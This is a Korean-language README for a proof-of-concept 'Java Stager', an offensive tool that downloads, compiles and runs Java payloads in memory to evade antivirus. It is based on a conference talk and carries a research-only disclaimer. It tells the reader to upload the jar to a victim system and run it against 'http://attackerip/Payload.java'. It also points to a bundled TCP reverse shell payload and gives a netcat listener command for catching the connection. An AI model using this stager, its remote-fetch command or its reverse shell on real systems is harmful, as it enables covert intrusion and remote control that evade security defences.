
메모리에서 Java 파일을 다운로드, 컴파일 및 실행할 수 있는 PoC Java Stager
메모리에서 Java 파일을 다운로드, 컴파일 및 실행할 수 있는 PoC Java 스테이저입니다.
이는 연구 목적으로만 사용되며, 권한이 없는 곳에서는 사용하지 마십시오.
이것은 James Williams의 강연 "Next Gen AV vs My Shitty Code"의 작업을 기반으로 하며, 여기에서 확인할 수 있습니다:
https://www.youtube.com/watch?v=247m2dwLlO4&feature=youtu.be
저에게 중요한 강연의 핵심 부분은 다음과 같습니다:
그의 예제는 .net으로 작성되었지만, 강연에서 그는 Java도 동일한 기술을 사용할 수 있다고 제안했습니다. 저는 위의 기술과 일치하는 원시 PoC를 구현했습니다.
NetBeans의 출력에는 다음과 같은 줄이 포함되었습니다:
Building jar: C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar
피해자 시스템에서 작업하려면 "target" 폴더에서 "JavaStager*.jar" 파일과 Janino가 포함된 "lib" 폴더를 업로드해야 합니다.
다음 명령어로 스테이저를 실행합니다:
java -jar JavaStager-0.1-initial.jar
다음과 같은 사용법이 표시됩니다:
Proper Usage is: java -jar JavaStager-0.1-initial.jar <url>
"url"은 스테이저에 전달되는 유일한 매개변수입니다. 예시 사용법은 다음과 같습니다:
java -jar JavaStager-0.1-initial.jar http://attackerip/Payload.java
페이로드는 "Payload.java"라는 파일에 있어야 하며, 익스플로잇 코드는 "Run"이라는 정적 메서드에 있어야 합니다. 다음은 직접 작성할 경우의 템플릿입니다:
public class Payload {
public static void Run() {
// Your code here
}
}
"TCPReverseShell.java" 파일에 예제 Reverse TCP 페이로드를 제공했습니다. 이름 충돌을 방지하기 위해 이 파일은 "Payload.java"라고 불리지 않으며 클래스 이름도 올바르지 않습니다. "TCPReverseShell.java"의 헤더 주석에 수정 방법이 설명되어 있습니다.
"Payload.java" 파일을 HTTP 서버에서 호스팅해야 합니다. 원한다면 Apache를 사용하거나 제 블로그에 설명된 대로 Python2 및 Python3의 간단한 HTTP/HTTPS 서비스를 사용할 수 있습니다:
https://cornerpirate.com/2016/12/16/simple-http-or-https-servers/
공격자는 표준 nc -lvp 8044 기술을 사용하여 연결을 받기 위해 netcat 리스너를 시작해야 합니다.
모든 작동 방식을 설명하는 블로그 게시물:
https://cornerpirate.com/2018/08/06/java-stager-hide-from-av-in-memory/
실제 작동 방식을 보여주는 비디오: